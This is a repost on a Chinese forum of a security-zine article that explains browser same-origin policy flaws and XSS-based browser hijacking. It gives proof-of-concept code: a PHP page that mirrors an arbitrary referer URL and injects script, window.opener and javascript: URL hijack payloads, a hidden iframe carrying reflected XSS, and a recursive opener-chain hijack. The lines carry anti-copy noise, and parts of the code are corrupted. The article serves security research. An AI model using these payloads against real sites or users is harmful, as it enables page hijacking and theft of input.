找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1949|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==" p6 g! w# l6 d/ {1 |

7 P; ^, t1 V) G* l0 ?                       Issue 0x03, Phile #0x05 of 0x07
( C( m# k$ e+ j# L 8 q  y4 O. Y, R& @) o8 `
. a) C: ^6 P* ]+ \; T
|=---------------------------------------------------------------------------=|3 P/ `+ U6 V) ]% J1 p
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
3 I7 d/ C; [9 \& J* x|=---------------------------------------------------------------------------=|
, i6 o" H! A; j7 R2 G% b|=---------------------------------------------------------------------------=|, G& \7 z0 t0 B+ s
|=------------------------=[      By rayh4c     ]=---------------------------=|) H' _. H+ k3 j: Y0 i2 F
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
, S% q7 s! b$ @8 K3 L, J1 ]1 c|=---------------------------------------------------------------------------=|
, T3 w9 v, T# b# f9 M3 \  o' @0 Z2 N3 a* v; t* Y1 U/ t
1 t; s5 T* x  m5 s, D
[目录]$ W/ A/ C* p! Q% _4 c/ B

# J) i% Q" U+ T( G1. 前言' m* {5 \/ a# r
2. 同源策略简叙
( v2 a+ j1 g) t! v8 S4 r3. 理解window对象的同源策略6 S" I' C- f* r& v# x# l
4. 窗口引用功能中的同源策略漏洞& @+ f6 {2 C% U- {& l- M8 @: j, `
  4.1 父窗口引用子窗口的同源策略问题4 i2 Q5 o" l* o8 o8 z! u
  4.2 子窗口引用父窗口的同源策略问题0 c$ n3 m' j8 g* d
5. 利用窗口引用漏洞劫持浏览器; J1 z! |# z; G. H
6. 利用XSS漏洞劫持浏览器
( B& I+ X8 B& }  e& r  6.1 正向跨窗口劫持- a; o- r2 \7 s
  6.2 反向跨窗口劫持
1 ]# f& t$ j- u) ~  6.3 极度危险的跨框架窗口引用劫持
# N) Q# Z) r, _4 G# b  6.4 极度危险的正反向跨窗口递归劫持
* H% `; g. a8 h8 U  6.5 完全控制浏览器3 O4 [# B- q0 R6 Z4 ^
7. 后记
9 p: S0 c; L! p4 D* S' ~8. 参考
' ^, `& ?' E5 v( k5 r' O
+ ?5 ^, V0 L$ d! @/ O% T
6 u, Z6 Q, l; `一、前言
* j, E# K+ F' s" K
) a, _6 B" D0 B& @  Z    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋+ f. j0 U% D5 `7 }& @
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
+ b1 V+ X: v& G3 `! G劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被5 r0 F/ N9 @; i1 p! D
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。. S* p+ U& ~8 \

2 `+ T, P& v; V% O0 j- `/ L% u+ F) }" L% W# a9 t4 w8 M
二、同源策略简叙
' B) u) G* J7 P1 c5 o) {* X/ C- u) C
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以: J0 n" E6 X7 W- |% I0 J
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都& A& [: K: z# k
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木' m7 y  c% W: q
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
+ S7 q7 c, @$ H* y+ w漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。. t( Z: ]. z4 `. I: o9 M

( V% b8 ^# O8 ~3 ?9 z) p1 m
" T5 b1 i: q7 F& x三、理解window对象的同源策略' ~. t( H+ f4 X3 k
8 _/ U3 {+ F5 }0 |% V
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
5 c! [; n- x* ~$ L9 P; i! p象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:' j" E, D+ D: ]# S$ d
, _% R, s: |0 H7 d
--code-------------------------------------------------------------------------
9 j  E: R: u  B3 L# q<script language="javascript">
2 _# D& d! p7 U6 O$ Qfor(p in window) document.write(p+"<br>");& D- E  s) a! F1 X" S8 l* U5 ^3 T4 L
</script>
1 O7 F7 x; R: ]9 z. ~; R-------------------------------------------------------------------------------
% ^0 v" t$ U# W( Q. G( a+ n% d+ b6 @7 l. Y/ i+ }+ Q
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
4 q7 z; I8 Q* p- p法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
- c+ ?! t6 S$ v9 g这些属性和方法就必须遵循同源策略。" W) d2 `; Z1 O8 A8 I
- C  M2 [  |* R9 ~: e( V: O5 [
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那& k1 n$ L& o) A' c$ G! c
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须2 J. _) m) N% A
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这5 B5 c& F$ d$ n- o! j- o9 w
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
5 h* t' C) U; w) E值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location+ S: o0 S) ]+ @3 e/ ]" X: c
属性并没有被拒绝访问。
+ P! J# C' D1 M& n) R# [' z
( R" R2 I! N) t$ A) }" ~0 Z8 F--demo.html--------------------------------------------------------------------
$ U2 a( C' Y/ T% F+ \) Q0 _<script language="javascript">   . m6 M0 K, w+ t# p$ A5 D
function allPrpos(obj) {      
  q0 T9 }' B: \* B: B- b0 b" d      var props = "<table><tr><td>名称</td><td>值</td>";           2 z% v+ V9 W' ~  \" E
      for(var p in obj){         
# [/ ?" V6 K" ?) v. B( ?            if(typeof(obj[p])=="function"){   
. A: G# D% o5 |                   obj[p]();   ' F" \3 a# F% Y" G; e2 P( Q
             }else{                     
5 t: e# Z7 d: T2 P                  try   - l/ N5 |1 m2 m0 ?, G, a, g3 I
                   {   
# ?  x/ Z$ L  P; Z' p                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   , `% h0 U: i4 F1 H) Q
                   }   
& k2 @( f! L6 |3 L& e3 G                  catch (ex)   
1 Y* U- R/ Y. W% s0 |                   {   ' m# J, N9 \' q% D$ z
                   ; i, t; }" b9 S% G8 U1 ^' A
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   / R+ P/ W+ j( e
                   }   * J! C1 m. c( c0 z$ a( H8 X
                       
$ K  U' e, C5 Y+ ~             }   
8 v; ]' F9 W7 s& l       }   8 c9 l7 S* X' p. `
   
6 I( H8 U) d5 V7 l       document.write(props+"</table>");   - N0 O% h/ n) R' T% f
}   6 e0 l& `* ]) n1 d( e3 O
   
* h" u- h% M& I! V1 x& _2 C# K. Nfunction createWin() {8 n$ z9 L5 j  J  x. z1 b7 S) F) g
        newWin = window.open ("http://www.google.com");  
( n' A8 J  X' u5 x  y& {        setTimeout(function(){allPrpos(newWin)},2000);
- G" S+ H4 B" d0 Y+ s. w}
# e6 N$ E; l; r; X8 X& X8 _+ w3 c7 E8 h
</script> ( }* `( E, J- m* ~0 e* z" M

# @! m' P- U& w8 F<button onclick='createWin()'>创建一个非同源子窗口测试</button># }4 S# e* y( H9 [# w
-------------------------------------------------------------------------------
/ z7 S; P) T  l6 `" S8 D' ?9 z3 y4 F4 i

7 [; Z$ P4 h: I+ J% O& f四、窗口引用功能中的同源策略漏洞9 z$ ~" l5 i! \0 i: S! J& i  ]
& m- S1 \& o) P& b+ |% m
4.1 父窗口引用子窗口的同源策略问题2 t2 |0 X/ s4 n$ |
* J0 P# B# H- h* t- _
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
; ~* e3 s- m) ~3 Q- h0 l6 \但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
- m% \" ^: j1 ~# B* y5 W$ G  C* y) p6 L浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
* c+ P$ S5 ?- P. d行测试,会发现父窗口可以控制非同源子窗口location属性值。
- u8 }! p8 D- E, P6 n& G& I' l3 O+ f. Z/ V$ r2 B
--vul1.html--------------------------------------------------------------------! R+ t& f# D# G0 r( v4 p( ^
<script language="javascript">
+ L7 M* s7 q! D- L# a# S& q0 dfunction createWin() {  0 }/ l" T4 h& {' M; Y
        newWin = window.open ("http://www.google.com");  
, i7 |: H0 D! C1 s& h: c! S8 Y& U        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
% q% {5 c& L* R8 a0 t} 0 U  g3 p) A7 n  t4 m5 _. s
</script>7 N8 c: }, d2 f' k" d' }% x

2 P! O) f6 Z3 }& o2 ^<button onclick='createWin()'>创建一个非同源子窗口测试</button>
3 E# d5 C  P5 H' b8 s9 }! P1 c-------------------------------------------------------------------------------0 d$ B$ M3 a' Q0 k: N

9 Y9 Z! d) e1 c: N  f
$ i: p( A$ W) w0 D4.2 子窗口引用父窗口的同源策略问题
: o' x5 `7 E, C. H4 ^, i+ L. ]) G6 t
  A& D8 K5 j6 i5 j0 v    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使6 l! J- Y) I" Y4 @
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
, T: F7 t$ \8 A* X可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定# ]& w9 V0 ]3 i9 [
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。8 w, b; c2 {! [
/ F. P+ z: @- R3 a
--code-------------------------------------------------------------------------7 Y, D# Y, n( k4 I

& q8 R2 S& x7 c$ C+ z& Cjavascript:window.opener.location = "http://www.80sec.com";void(0);
! P. H* p. \$ I4 r% C( W1 i" P: _( I& F$ k+ n0 e
-------------------------------------------------------------------------------" b; m4 v/ }5 `5 K. I. L: C6 d

5 N- k' u2 H/ v/ t, l
) \: T+ H) |# D+ L/ ?) n# i五、利用窗口引用漏洞劫持浏览器
) R, X( n. e: J, L5 z3 t) k5 O4 }* y- T9 A# g% h7 s. K( T  W
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子" t0 c: T7 b& F4 z
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那- I3 |$ a$ d+ Z8 B3 U* j/ i% f! P4 ]% o
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。9 |7 R7 S. I. C: |

9 M/ z  Z  Q5 O3 s5 ^    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
/ J5 T2 i+ j, q5 G& e$ j生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
/ ?$ k  m5 x, ?6 H6 k2 P者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
, _( l( J" e  V后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
' n( ]/ _0 n- ?  |5 B会产生什么可怕的后果。
/ c0 X) d9 H: ?( ?
% u* i; P# i" n$ J) ^) b    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
) w* m$ m/ b2 u1 U0 G+ b们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php$ C, ]1 @. t  E( I6 H
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时3 `6 @% s1 [8 \- g" C" n+ P
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
/ t8 x' |7 h7 W8 r: C4 k以做更多的事情,所有的一切仅仅是因为点击了一个链接。
# `2 E6 _" o( p- C: e* M: z8 |3 D8 P4 S8 }9 @  j
--hjk_ref.php------------------------------------------------------------------! J8 _0 o% ]* P$ E4 k; Z! b
<?php
+ C1 U7 S$ d$ i9 _. Y5 X) L  _6 ~if (array_key_exists("HTTP_REFERER", $_SERVER)) {8 l2 Y1 |* j9 ]% n5 ?
$Url_Mirror = $_SERVER["HTTP_REFERER"];
) A2 D" J5 a0 n4 U  R}
) M' {* t4 W" g2 A. ?$ dif(isset ($_GET['ref'])) {
, G* w5 I, q% k% Q# i( C' A. ]) A% wecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';7 }- \* @& h% i/ l# Z
}$ c( p6 Z0 b6 T3 H
?>( ?" g" f& Z; j/ J0 C, A
& Y8 B2 B) H! X9 E
<script language="javascript">7 D! N8 A. L. C+ f1 X- n8 N
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         4 W8 m9 I" F% q3 V! W
</script>& ~  H- B( g- r$ P  Z' e. N
-------------------------------------------------------------------------------
7 T3 h% C' @/ [! X- _) g  R& u) |% Q: a7 z% Q1 C
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
. \4 L  Z% ?7 k; {' p& n0 ]- u

9 j+ w1 S8 }3 Z4 H0 h4 q2 M六、利用XSS漏洞劫持浏览器
- }7 m0 u3 R/ I
6 t1 `) S6 C/ m8 C1 |" ^; t    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
( I6 Z2 q3 o; `0 |5 E持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
- J* E( I9 k8 P8 |, ~XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
+ G- ^% u. ]: ~7 N4 x( u讨论跨站师的终极技巧:) p1 _, U; P* w) q, X6 l# N; l: N
$ i! }5 b- k- j& F: w4 {" ?4 f5 n

% \2 c! n* x5 R+ q1 U  k3 u" U$ j6.1 正向跨窗口劫持2 E" R$ R! F7 K- Q) g  L2 F

* _% b( t9 T: n6 t$ A* N    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛9 L5 O' B  b( @$ d3 V! Y
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
  N0 g3 A. x& @$ f, |0 D) \接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话$ \% F* _1 c& r5 z6 Y# t4 U" K* p
框脚本。 1 [3 M1 \* I, A  H! w: M! W
. T1 p- `  K* J) X1 M$ i" P
--hijack_open.js---------------------------------------------------------------# K) A) z  }" T! e

7 b; }3 _, u* ejavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);9 s2 ]4 Z& O% K1 H* ~4 ^9 Z
7 [% s- b* x8 d3 z
-------------------------------------------------------------------------------
+ G, v8 |1 i  Q
6 d8 t, y3 J3 K, w; C
" B) r, T8 A( c6.2 反向跨窗口劫持
6 U- [/ A* V' r8 b! Q5 ]) i; H6 M! H2 ]; {& i  a
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代; ]9 y& p/ p" T# t
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话4 B; ]0 c- m8 A8 a( g$ A* ^2 P/ x7 v3 y
框脚本。* x7 O* m4 J. L8 I3 {8 b( b

: o% ~$ c% j7 e7 M--hijack_opener.js-------------------------------------------------------------
% w+ R. h- L9 l, e9 r
0 L7 d! f0 ?  y$ Bjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
+ F6 [3 O4 D: x0 ?; d' n/ Z& C7 h
& |2 V9 n0 E6 ~4 C4 W-------------------------------------------------------------------------------: w; k7 M; R" W" p. k% t

6 j) W3 u9 I0 U; @9 a( D) [' `; \; ?  K# e
6.3 极度危险的跨框架窗口引用劫持4 f  H  _  K0 B- E5 E- K' u+ p# z

3 }# a% P. }# f' b* R, H4 z, e    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
" W& @# `5 _* a8 j& z! {可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
9 I3 ~8 X! R/ ?% W- g, o3 U适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个. r; v- \7 J: Z4 |
非持久型的XSS,如下:# i8 K% t/ |; p1 j3 Q
; k6 q+ @2 B9 k: j6 D
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>: Q! Y- f- l+ f/ q# E1 w

" X5 s! d, y- I# d0 x* E    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口% {( r8 z1 Q* r" N
注入脚本。+ M: m# O+ ^& c/ R' P9 V* D4 d
, m# W0 V7 M2 r8 q8 Q' ^4 J! H* O
--hijack_frame_opener.js-------------------------------------------------------) ^  i  ~; Q# K- L4 Y: W% L
<script>
7 T1 e$ i! u3 O6 M4 z% Lwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";* l; @& p5 @' g- ]+ g! n
</script>
4 N! r$ @1 g6 H) a. N5 [-------------------------------------------------------------------------------& F" f! S: A. h9 D3 A5 _( x
, j  B/ ]1 c3 K& X' j6 Q( h5 e

' q5 k& R4 R  s) N2 M" g: X8 n- i- t6.4 极度危险的正反向跨窗口递归劫持. e! Z# w; b1 ]/ W7 L  D
' r& l* j* `: \+ N8 l
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window6 B- Q; F1 \% T
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
1 W  n9 w8 p# h" K0 z5 T7 S/ ]异常处理规避之间跨域页面的访问异常,代码如下:' B7 [6 H- {, S& f
0 ~2 V# j( U) A; W
--code-------------------------------------------------------------------------; ~" Z; S/ L5 ?

0 L8 E2 l% f% t$ B# Sjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);: K0 ]) ~5 K# h8 ]
8 K/ ?3 i% [" A. E" V
-------------------------------------------------------------------------------0 B/ D4 L. R" }7 F% m

' F. D0 M- h3 S5 Q' \* Y) h+ i    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
4 d/ K5 V6 Q+ f, s& ~( X; Y以劫持B域之前的A域页面,从而实现“隔空打击”。
4 @- h, S2 E1 ]9 V
, `3 ]# ~3 S+ Z0 }/ W    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面4 d8 i1 A" q: l1 z: n! m" j
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
- \" N7 `  s  k9 m$ G6 h! y  r- @/ C/ O
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
$ N, R7 p4 x6 Y. _/ K
. o& _3 P  o% }' ?, u' u7 @- x% {4 N2 C
6.5 完全控制浏览器
. P- S/ H% O) p& |" ~: _; f( R' m, {, q3 W9 ]' }/ T; S/ U+ F
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
9 M6 u, ~# k+ k0 C是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS4 [& s& h- o* i) E1 g. ?
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失- a) Y) c' D$ G" b
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
) h7 ~/ t- [! P& d# H3 ?0 G2 k9 ?列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
& [/ p, v. E3 Q, E8 h师的终极目标 - 完全控制浏览器。
2 b9 b) T8 Y9 K1 d& _7 U
' r& V; D# p  S6 c2 x4 Q5 F: i; w; H0 ^
七、后记+ A8 p6 C( A6 z& {6 b7 A7 u  e- [

, K, C9 W: P* h    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全8 o: b4 q& j  ^  T
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予; g% W. r1 Z/ u3 ]* `/ e
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。: y! T6 P" q# C* e1 A5 ]) v2 l
8 ~0 W' \/ z  ^. C

2 Z9 r( B7 K! r3 _' _八、参考0 T, }0 O6 \2 V7 Y2 S
1 [  U% u5 J* H4 A/ w) d* _% S; d. _
1. http://en.wikipedia.org/wiki/Same_origin_policy
) H0 v+ c. f0 J- Z6 \& }2. http://code.google.com/p/browser ... licy_for_DOM_access
( O: ?6 Q' t/ ^& B" n! q3. http://www.w3.org/TR/Window/
# N2 ?" U. ?& {. h5 V4. http://www.80sec.com/release/browser-hijacking.txt
& w3 B. l# x' E1 E* l5. http://www.80sec.com/all-browser-security-alert.html
2 q! M1 Z- B) }6. http://www.80sec.com/ms08-058-attacks-google.html: c$ l' ?- l7 O3 A; `2 d  E
7 X6 D4 T3 V! F% f' K
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表